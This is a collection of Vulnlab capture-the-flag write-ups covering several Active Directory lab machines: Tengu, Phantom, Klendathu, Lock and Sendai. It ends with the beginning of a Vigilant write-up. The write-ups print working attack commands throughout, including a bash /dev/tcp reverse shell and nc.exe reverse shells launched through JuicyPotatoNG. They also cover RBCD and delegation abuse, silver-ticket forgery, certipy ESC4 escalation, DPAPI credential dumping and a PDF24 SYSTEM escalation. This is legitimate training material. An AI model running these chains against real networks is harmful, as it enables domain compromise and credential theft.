Checking for paths for gaining domain, this user is in Admins_T1 group which has WriteAccountRestrictions acl on domain controller, which essentially is similar to GenericWrite or WriteProperty that can allow to edit msDS-AllowedToActOnBehalfOfOtherIdentity adding a machine account for which we have password for abusing resource based delegation (RBCD)

We can do this attack in two ways, since we have the NThash of frajmp, we can append that account in dc’s property or we can utilize a user account without having any SPN by replacing the password with it’s TGT session and combining S4U2Self and U2U protocols to abuse but this method is quite destructive and must be avoided unless there’s a test account

Going with the machine account approach, by first editing the property

proxychains impacket-rbcd -delegate-from 'FRAJMP$' -delegate-to 'MUCDC$' -dc-ip '10.10.153.149' -action 'write' 'heron.vl'/'adm_prju':'passowrd'

proxychains impacket-getST -spn 'cifs/MUCDC' -impersonate _admin -dc-ip '10.10.153.149' 'heron.vl/frajmp$' -hashes ':hash'

References

• https://www.hackingarticles.in/credential-dumping-group-policy-preferences-gpp/
• https://github.com/t0thkr1s/gpp-decrypt
• https://soroush.me/blog/tag/rce/
• https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
• https://github.com/sosdave/KeyTabExtract

Tengu, a medium rated chained machine from vulnlab consisting of two windows and one linux host, had an instance node-red running on linux host configured with MSSQL, gaining command execution on that, lead to decrypting the password for the service, accessing MSSQL database by pivoting through linux host and dumping password hash for t2_m.winters who was a linux admin, the linux host had constrained delegation on SQL host though MSSQL through which we can impersonate MSSQL admin and gain local admin, we’ll recover domain admin credentials through DPAPI and using kerberos authentication to logon onto DC.

DC.tengu.vl

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.tengu.vl
| Issuer: commonName=DC.tengu.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-14T15:26:33
| Not valid after:  2025-03-16T15:26:33
| MD5:   b350:11ed:41ce:ff32:a34f:0088:ce22:96f5
|_SHA-1: 711b:6409:e399:0771:d3d3:7eba:1938:5914:7c84:7528
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

SQL.tengu.vl

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-09-15T15:30:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SQL.tengu.vl
| Issuer: commonName=SQL.tengu.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-14T15:26:45
| Not valid after:  2025-03-16T15:26:45
| MD5:   3cd6:9298:18df:b91e:5194:c958:0df4:528b
|_SHA-1: b304:c807:0de4:a171:0c1a:8b16:1f3e:bd29:2e21:99b5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

nodered.tengu.vl

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 41:c7:d4:28:ec:d8:5b:aa:97:ee:c0:be:3c:e3:aa:73 (ED25519)
1880/tcp open  vsat-control?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Both windows hosts had only RDP service enabled, on linux hosts, there was something hosted on port 1880 which on googling shows it runs Node-RED, which is a flow based development tool for visual programming used in IoT devices

Remote Command Execution Through Node-RE

Node-RED is known for getting remote command execution (RCE), to achieve this, we’ll need to create a flow by timestamp block following exec block

Replacing the curl command with bash reverse shell

bash -i >& /dev/tcp/10.8.0.136/2222 0>&1

After having the shell, it can be stabilized with python3 to use it as a normal shell

From nodered directory, we can find some type of hashed password but not really sure who this belongs to and how this can be cracked

Accessing MSSQL

From sql node properties, we can see the connection string with the username nodered_connector

So there’s a script to decrypt the node-red credentials, which needs flows_cred.json and .config.runtime.json

In order to connect to MSSQL, we’ll need to performing pivoting since that service isn’t exposed to us, we’ll use chisel socks proxy

chisel server --reverse -p 3000
chisel client 10.8.0.136:3000 R:socks

With this, we’ll be able to reach port 1433 on sql.tengu.vl

Trying to enable xp_cmdshell resulted in no luck as this user didn't had privileged in mssql

Enumerating the databases, there are two, which are not available by default, Dev and Demo

Dev didn’t had anything interesting while there was one set of credential from Demo

Attempting to crack this with rockyou.txt didn’t work as the password wasn’t present there however crackstation came handy here

Having the credentials, we can verify the credentials

With bloodhound-python, the domain can be enumerated

proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all -ns 10.10.183.37

Escalating privileges on linux host

From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host

Through ssh we can easily switch to t2_m.winters user

this host has ReadGMSAPassword on GMSA01$ account

Constrained Delegation on SQL Host

The NThash can be retrieved from /etc/krb5.keytab, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract

This hash can be verified by authenticating on DC

GMSA hash can be retrieved by using --gmsa module on LDAP

proxychains nxc ldap 10.10.238.213  -u 'NODERED$' -H 'hash' --gmsa

This account has AllowedToDelegate permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation

With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn’t worked for administrator

Instead of admin, we can check what other users we could target, there’s a group name SQL Admins , with two users

Here we can try to impersonate T1.M_Winters and then login through MSSQL using the ticket

proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213

From here xp_cmdshell was enabled as this service is running in context of of gmsa01$

Checking our privileges, we can get local administrator by abusing SeImpersonatePrivilege with JuicyPotato-NG or any other recent potato exploit

JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe"

Lateral Movement — Extracting Credentials Trough DPAPI

Running mimikatz to dump local admin hash and checking if there are any hashes in lsass

With lsadump::cache , domain cached credentials can be found where there's cached credentials for c.fowler but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was a rabbit hole

To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize sharpdpapi to dump all credentials

SharpDPAPI.exe machinecredentials

Using kerberos authentication to spawn a shell as T0_c.fowler

T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid

But the plain text password wasn’t working and it’s probably due to admin users belonging to Protected Users Group which is why we’ll need to use kerberos authentication

So instead, using kinit we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the /etc/krb5.conf configuration file

[libdefaults]
        default_realm = TENGU.VL
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        rdns = false
        dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true[realms]
        TENGU.VL = {
                kdc = dc.tengu.vl
        }
[domain_realm]
        .tengu.vl = TENGU.VL

Having the ticket, we can just dump hashes from ntds.dit using secretsdump.py or just spawn a shell using smb, wmi or psexec

References

• https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
• https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
• https://github.com/sosdave/KeyTabExtract/tree/master
• https://www.fosslinux.com/122323/how-to-use-kinit-command-on-linux.htm

Phantom involved enumerating shares to find an email with a password, enumerating domain users by bruteforcing SIDs, password spraying to find a valid user, where we’ll find vyos backup which is an opensource router and firewall, encrypted with veracrypt, after decrypting we’ll get with password in the configuration file, spraying again to find this user has ForceChangePassword acl on a domain user having AddAllowedToAct on domain controller, performing resource based constrained delegation with any domain user.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?        
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped                               
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Enumerating smb shares with anonymous login

From the public share, we have tech support mail file

Which has a base64 encoded pdf file

After decoding it from base64, we’ll get a password from this file

We don’t have a username yet, so brute-forcing SIDs for the username using lookupsid from impacket

Spraying the password on all these users, only ibryant will be the account that has this password set

After logging onto Departments Share , there's a backup file in the IT folder

Decrypting veracrypt file

The .hc the extension tells that it's a file from veracrypt software, as the name tells it encrypts data, this password can be cracked with hashcat but it wasn't present in rockyou.txt, so generating a custom wordlist, with company name, year, and a special character as mentioned in the hint from vulnlab wiki

Mounting the image with veracrypt

Password Spray

There’s a vyos backup file, which is an open source OS for router and firewall, from the config file, we can retrieve the password for lstanely

Which didn’t work but we can spray this password against the list of domain users that we have

This user can login through winrm

Enumerating the domain with bloodhound, we can change passwords for domain users with ForceChangePassword

Changing domain user’s password

These users belong to ICT Security group which have AddAllowedToAct on domain controller, through this, we can edit msDS-AllowedToActOnBehalfOfOtherIdentity to add a machine account in this property to perform Resource Based Constrained Delegation (RBCD), with net rpc password can be changed

net rpc password WSILVA -U phantom.vl/svc_sspr -S dc.phantom.vl

Editing the msDS-AllowedToActOnBehalfOfOtherIdentity property

rbcd.py -delegate-to 'DC$' -delegate-from 'WSILVA' -dc-ip 10.10.118.204 -action 'write' 'phantom.vl'/'WSILVA':'Phantom2023!'

Performing resource based delegation with a domain user

To abuse RBCD, we need to know the status of the machine quota in order to create a machine account and then add it to DC’s property but the quota is set to 0

However, we can still perform RBCD through a normal domain user, for this we need a modified branch of getST with U2U kerberos extension

First retrieving TGT with overpass-the-hash, extracting the TGT session key, and replacing it with the domain user’s NTHash

With S4U2Self and U2U, with WSILVA we can obtain a service ticket to itself on behalf of the administrator and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to.

KRB5CCNAME=./WSILVA.ccache getST.py -u2u -impersonate "Administrator" -spn "host/dc.phantom.vl" -k -no-pass phantom.vl/WSILVA

References

• https://github.com/lvaccaro/truecrack
• https://codeonby.com/2022/01/19/brute-force-veracrypt-encryption/
• https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd
• https://github.com/ShutdownRepo/impacket/tree/getST
• GhostPack/Rubeus#137

Klendathu, an insane rated machine involved enumerating nfs share containing a configuration file with password hash of domain user, this user had guest access on MSSQL service, forcing authentication with sys.dm_os_file_exist , forging silver ticket then escalating privileges on SRV1, spoofing domain user on SRV2 with the MSSQL user and then decrypting RDCMan credentials with domain backup key.

DC1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?                
464/tcp  open  kpasswd5?                 
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped                       
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped            
3389/tcp open  ms-wbt-server Microsoft Terminal Services

SRV1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn          
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
3389/tcp open  ms-wbt-server Microsoft Terminal Services 
| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VL

SRV2.KLENDATHU.VL

PORT     STATE SERVICE VERSION       
22/tcp   open  ssh     OpenSSH 8.7 (protocol 2.0)
| ssh-hostkey:
|   256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)
|_  256 1169f003859ff4ea1529d4c2655d27eb (ED25519)         
111/tcp  open  rpcbind 2-4 (RPC #100000)                
| rpcinfo:        
2049/tcp open

We have smb port open on SRV1 and DC1, NFS on the linux hosts so let’s start enumerating the shares first

Enumerating NFS share

We get access denied on both of them, looking at nfs, we have /mnt/nfs_share that can be mounted from our host

Mounting the folder with mount

sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares

There’s a configuration file for a cisco switch, at the end there’s a contact email which could be a domain user, which is a valid user

We can also see a cisco secret password which is MD5 hashed

This can be cracked with either hashcat or john

hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt  --force

With these credentials we can list down the shares on both windows hosts and can read HomeDirs on DC which is interesting

But these directories were not accessible with the user we had

Moving forward we can enumerate AD with bloodhound

python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VL

This user belongs to Netadmins group but there’s nothing beyond that bloodhound show us

Accessing MSSQL

We have MSSQL running on SRV1, so verifying these credentials can be used to login there

Here we can try to enable xp_cmdshell , but it was not getting executed, similarly with xp_dirtree as well

MSSQL Coerced Authentication

The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there’s a neat cheat sheet for coercion through mssql but most of them didn’t work as they required administrative privileges or were blocked, xp_fileexist was working tho but it wasn't able to perform coercion just showing if the file exists

Searching around for utilizing file exists, there’s another function sys.dm_os_file_exist which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two

SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')

Forging Silver Ticket

The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)

For forging a silver ticket, ticketer.py will be used to do that

ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator

After using the forged ticket (silver ticket), we can see that the user we currently are is dbo which is the database owner, so now we won't have any restrictions on running xp_cmdshell

Now transferring netcat to get a shell

Becoming Local Administrator on SRV1

We can perform local privilege escalating by abusing SeImpersonte privilege through JuicyPotato-NG

JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"

From here onward there wasn’t anything we could do as dumping lsass didn’t returned any domain user’s hash other than the local admin and machine account

Spoofing Domain Users On GSSAPI Authentication

Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite and ForeChangePassword on two domain users, rico and ibanez , with this ACL we can change the password using rpcclient or net rpc

These accounts also don’t have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn’t worked

There’s a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName attribute, this attribute is utilized by NT_ENTERPRISE through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS with two members

Then adding userPrincpalName to be any of the two users, for adding this attribute we can use ldapmodify for that we need to create a ldif file

dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: flores

ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldif

This attribute can be verified with ldapsearch

Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise

Make sure to have GSSAPI authentication in /etc/ssh/sshd_config and set the domain realm in /etc/krb5.conf

Convert the kirbi ticket to ccache and use it against ssh with -K

We can directly become root here as flores is a “linux admin”, so just running sudo bash will give us the root shell

root user’s directory has a backup of domain controller with ntds.dit , SAM and SECURITY file from the registry hive

But the passwords here have been reset so there’s no point and parse the ntds file, the /tmp directory has a ticket for svc_backup account

This can be used just by transferring on our kali machine and export the ticket

svc_backup doesn’t have any special ACL but the description does say about syncing data to user’s directories

Decrypting RDCMan password

So going back at the enumeration stage where we were trying to access smb shares, there were some user’s directories, with this user those directories are accessible

Here jnkeins.rdg , is a file containing configuration settings for connecting to remote desktop sessions, having administrator’s password hash

From chatgpt I generated a ps script to decrypt the password but it didn’t worked due to how the password is encrypted

Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
    param (
        [Parameter(Mandatory=$true)]
        [string]$encryptedString
    )
try {
        $bytes = [Convert]::FromBase64String($encryptedString)
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
        $decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)
        return $decryptedString
    } catch {
        Write-Error "Failed to decrypt password: $_"
    }
}
$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword
Write-Output "Decrypted Password: $decryptedPassword"

So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip , after extracting the archive we’ll have the path to master keys ./AppData/Roaming/Microsoft/Protect

Using ntdissector , domain backup keys can be extracted, there will be a file named secrets.json containing pvk value encoded in base64

We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound

From DIANA Windows Credential Toolkit , there's a script diana-msrdcmandec.py for decrypting rdcman credentials, we have all the parameters for decrypting the password from rdg file

python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk

Having administrator's password, we can just login through WinRM and get full access on the domain

References

• https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
• https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/
• https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-v
• https://www.ibm.com/docs/en/aix/7.1?topic=support-using-openssh-kerberos
• https://www.winter.fyi/2017/01/decrypt-password-remote-desktop-connection-manager-rdcman/
• https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context
• https://github.com/synacktiv/ntdissector
• https://github.com/tijldeneut/diana

Lock is a basic windows machine which involved enumerating the gitea repository to find a Personal Access Token (PAT), through which it revelead having ability to deploy files on the server, allowing us to upload aspx web shell, escalating privileges to a user with remote access whose password was decrypted through mRemoteNG configuration file and further escalating to a SYSTEM user through the repair process of PDF24.

PORT     STATE SERVICE       VERSION               
80/tcp   open  http          Microsoft IIS httpd 10.0
445/tcp  open  microsoft-ds?
3000/tcp open  ppp?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

PORT 80

The webserver has template page hosted with just about section and nothing else

PORT 3000

On this port there’s an instance of gitea being hosted, having a repository dev-scripts

This repo has python script which is going to list down all the repository of the user with his PAT (Presonal Access Token).

Enumerating repositories

Checking the commit history, we’ll find gitea token

Copying the script on your local machine and using the token from commit history, the script will show another repo named website

Using the PAT we can clone this repo

git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.10.109.226:3000/ellen.freeman/website.git

Uploading webshell

The readme.md from the repo, says that any changes made into this repo will be deployed on the webserver, so let's verify by creating a simple html file

Adding the created html file with git add file.html also setting the username and email with git config --global

git add uwu.html 
git config --global user.name "ellen.freeman"
git config --global user.email "ellen.freeman"
git commit -m "uwu"
git push

Now this file will be deployed on the webserver

Since IIS server is being used as a webserver (from the nmap scan), we can upload an aspx web shell

Transferring nc and getting a shell

Under documents directory, we’ll find config.xml which has an encrypted password for mRemoteNG

Using the script to decrypt the password

Having the credentials, we can login as gale.dakarios through RDP, after logging we can see PDF24 launcher on desktop

Escalating privileges through PDF24

Checking the version, it appears to be 11.15.1, which is vulnerable to local privilege escalation

The vulnerabilities lies with in the repair process of PDF24, the process calls pdf24-PrinterInstall.exe which gets executed with SYSTEM privileges with write access on faxPrnInst.log, with SetOpLock this file can then be blocked or to hold that file so the pdf24-PrinterInstall.exe will still remain open and we can then the perform the actions listed in the article

• right click on the top bar of the cmd window
• click on properties
• under options click on the “Legacyconsolemode” link
• open the link with a browser other than internet explorer or edge (both don’t open as SYSTEM when on Win11)
• in the opened browser window press the key combination CTRL+o
• type cmd.exe in the top bar and press Enter

In C drive there’s a hidden directory _install having pdf24 msi file

Before running it make sure to have SetOpLock from here

Now executing the installer file with msiexec

After sometime, we’ll get a cmd window for pdf24-PrinterInstall.exe

Opening the properties of this window and clicking on legacy console model link to open with firefox

Use ctrl+o to open up a file and at the address bar type cmd.exe to spawn a shell as SYSTEM user because this whole process is being executed in the context on that user

References

• https://kettan007.medium.com/how-to-clone-a-git-repository-using-personal-access-token-a-step-by-step-guide-ab7b54d4ef83
• https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
• https://github.com/gquere/mRemoteNG_password_decrypt/blob/master/mremoteng_decrypt.py
• https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/
• https://github.com/googleprojectzero/symboliclink-testing-tools

Sendai involved enumerating usernames through smb shares having password expired, resetting their password, belonging to Support group they had GenericAll on ADMSVC group which had ReadGMSAPassword on MGTSVC$ , enumerating the system to find clifford’s password which was part of ca-operators group having full control over SendaiComputer template making it vulnerable to ESC4, then changing the configuration to make it vulnerable to ESC1, escalating to domain admin.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus           
80/tcp    open  http          Microsoft IIS httpd 10.0  
|_http-server-header: Microsoft-IIS/10.0
88/tcp open  kerberos-sec
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl            
| Issuer: commonName=dc.sendai.vl                                     
|_http-server-header: Microsoft-IIS/10.0                
| http-methods:                                
|_  Supported Methods: GET
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.sendai.vl
| Issuer: commonName=dc.sendai.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-04T16:24:01
| Not valid after:  2024-11-03T16:24:01
| MD5:   6198fc32527e478294e38fd5c6a2b81e
|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3
|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  unknown
56740/tcp open  unknown
56744/tcp open  unknown

PORT 80/443

Running gobuster, we can find /service

However this endpoints shows that we don’t have access to it

PORT 445

Enumerating smb shares with anonymous login, we’ll see config, sendai and Users share, where config was not accessible, Users didn't anything but sendai had some interesting files

The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user’s directories

Resetting domain user’s password

These users can also be enumerated through lookupsid by brute forcing sids

On trying to login with null password, we’ll get two users with password to be changed

Password can be changed with impacket-smbpasswd

impacket-smbpasswd  sendai.vl/Thomas.Powell@dc.sendai.vl -newpass '$aduwu123'

From config share, we can grab .sqlconfig having credentials to MSSQL

But this service isn’t exposed to us so moving on to enumerating the domain with bloodhound

python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41

Thomas.Powell is a member of Support group has GenericAll on ADMSVC group which has ReadGMSAPassword on MGTSVC$ account. We'll need to add thomas in ADMSVC group, read the NThash of MGTSVC account

Abusing GenericAll and reading GMSA password

Through bloodyAD we can add thomas in ADMSVC group having genericall rights

python3 bloodyAD.py  --host "10.10.104.41" -d 'sendai.vl' -u 'thomas.powell' -p '$aduwu123' add groupMember ADMSVC thomas.powell

With gmsadumper script or with netexec we can dump the nthash of mgtsvc account

python3 gMSADumper.py -u 'thomas.powell' -p '$aduwu123' -d sendai.vl -l 10.10.104.41

This account can login on DC as it’s part of Remote Management group

Checking the privileges after logging in through evil-winrm, it doesn’t have any privilege that we can abuse to get local admin

Obtaining clifford’s password

From the running process, we have helpdesk which doesn’t normally run on a system

Enumerating the system with PrivescCheck.ps1

This will list down the running processes from where we’ll find the clifford.davey’s creds

Enumerating ADCS

This user belongs to CA-Operators group, so he likely will be able to enroll in a custom template, enumerating templates with certipy

Escalating privileges through ESC4

certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout

This lists down a template SendaiComputer which has EKU set to Client Authentication that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse

With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user

certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer

certipy req -u 'clifford.davey' -ca 'sendai-DC-CA' -dc-ip 10.10.115.126 -target dc.sendai.vl -template 'SendaiComputer' -upn administrator

certipy auth -pfx ./administrator.pfx -domain sendai.vl

Escalating with SeImpersonate privilege

Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward withchisel

chisel server -p 2222 --reverse
chisel.exe client 10.8.0.136:2222 R:socks

But we’ll get login denied for sqlsvc account

With ticketer, forging a silver ticket for accessing MSSQL service as an administrator

ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator

Enabling xp_cmdshell which will allow us to execute system commands as sqlsvc

The difference here is that we’ll have SeImpersonate privilege, which can abuse to get local admin

Using juicypotato-ng to abuse the privilege and get a shell a SYSTEM

.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe"

References

• https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/
• https://github.com/itm4n/PrivescCheck
• https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services

Vigilant a hard rated chained machine involved enumerating smb shares to find an encrypted pdf file, analyzing the ADAudit dll file to decrypt the contents of the file revealing credentials for kibana, using synthetic monitoring to obtain a shell on docker container, breaking out of the container through docker sock by creating a container and mounting the host file system, recovering hash from SSSD for a domain user and escalating to local admin on domain controller through ESC13

DC.vigilant.vl

PORT     STATE SERVICE           VERSION          
53/tcp   open  domain            Simple DNS Plus              
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp  open  microsoft-ds? 
464/tcp  open  kpasswd5?             
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open  globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: VIGILANT
|   NetBIOS_Domain_Name: VIGILANT
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: vigilant.vl
|   DNS_Computer_Name: DC.vigilant.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-21T16:06:29+00:00
5601/tcp  open  esmagent
9200/tcp open  wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl

SRV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                              
|   256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_  256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD     
